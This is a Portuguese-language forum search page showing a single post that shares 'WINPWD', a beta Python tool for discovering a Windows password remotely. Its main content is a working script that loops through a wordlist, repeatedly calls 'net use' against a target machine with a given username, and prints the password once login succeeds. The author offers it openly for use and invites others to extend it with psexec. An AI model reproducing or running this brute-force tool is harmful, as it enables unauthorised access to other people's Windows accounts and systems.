Pesquisar na Comunidade
Mostrando resultados para as tags ''winpwd''.
Encontrado 1 registro
-
WINPWD[BETA] - Descobrir a senha do windows remotamente
☢|EXPL01T3R|☣ postou um tópico no fórum em Outras linguagens
Vim postar a versão beta mesmo, pois talvez ainda assim possa ser útil pra alguém Objetivo da ferramenta: Descobrir a senha do windows de forma remota, com auxilio de uma wordlist Complicações da versão beta: Lentidão, pois não foi possível implementar threads, porque como usei o net use pra autenticação remota, uma autenticação acabou entrando em conflito com a outra, ocasionando resultados diferentes em testes nas mesmas condições Objetivo da versão final: Deixar de usar o net use pra autenticar no sistema remoto, possivelmente vou usar o psexec Mas se alguém quiser pegar essa parte e ir implementando tbm, fique a vontade import subprocess, os, sys print(''' __ ___ ______ ______ \ \ / (_)_ __ | _ \ \ / / _ \ \ \ /\ / /| | '_ \ | |_) \ \ /\ / /| | | | \ V V / | | | | | | __/ \ V V / | |_| | \_/\_/ |_|_| |_| |_| \_/\_/ |____/ Descobrir a senha do Windows Remotamente by: EXPL01T3R ''') alvo = input('Alvo: ') user = input('Usuário Válido: ') opcode = 0 contador = 0 try: wl = open(input('Wordlist: ')) except: print('Wordlist inválida') exit(1) def progress(): sys.stdout.write("\r") sys.stdout.write('Tentando senha: {senha}' .format(senha = str(senha).rstrip())) os.system('cls') for senha in wl: progress() subprocess.getstatusoutput('net use \\\\{alvo} /delete' .format( alvo = alvo)) code = subprocess.getstatusoutput('net use \\\\{alvo} /user:{user} {senha}' .format( alvo = alvo, user = user, senha = senha)) if (code[0] == 0) or (code[1] == 'Erro de sistema 5.\n\nAcesso negado.\n'): print(''' *****ed!! Alvo: {alvo} Usuário: {user} Senha: {senha} Tentativas: {cnt} {xD}''' .format(alvo = alvo, user = user, senha = senha, xD = ('-'*30), cnt = contador)) opcode = 1 break contador += 1 wl.close() if opcode == 0: print('\n\nValor não encontrado, tente com uma wordlist mais completa ;)\nNumero de tentativas executadas: {cnt}' .format(cnt = contador)) else: print('Finalizado') ~le print modafoca
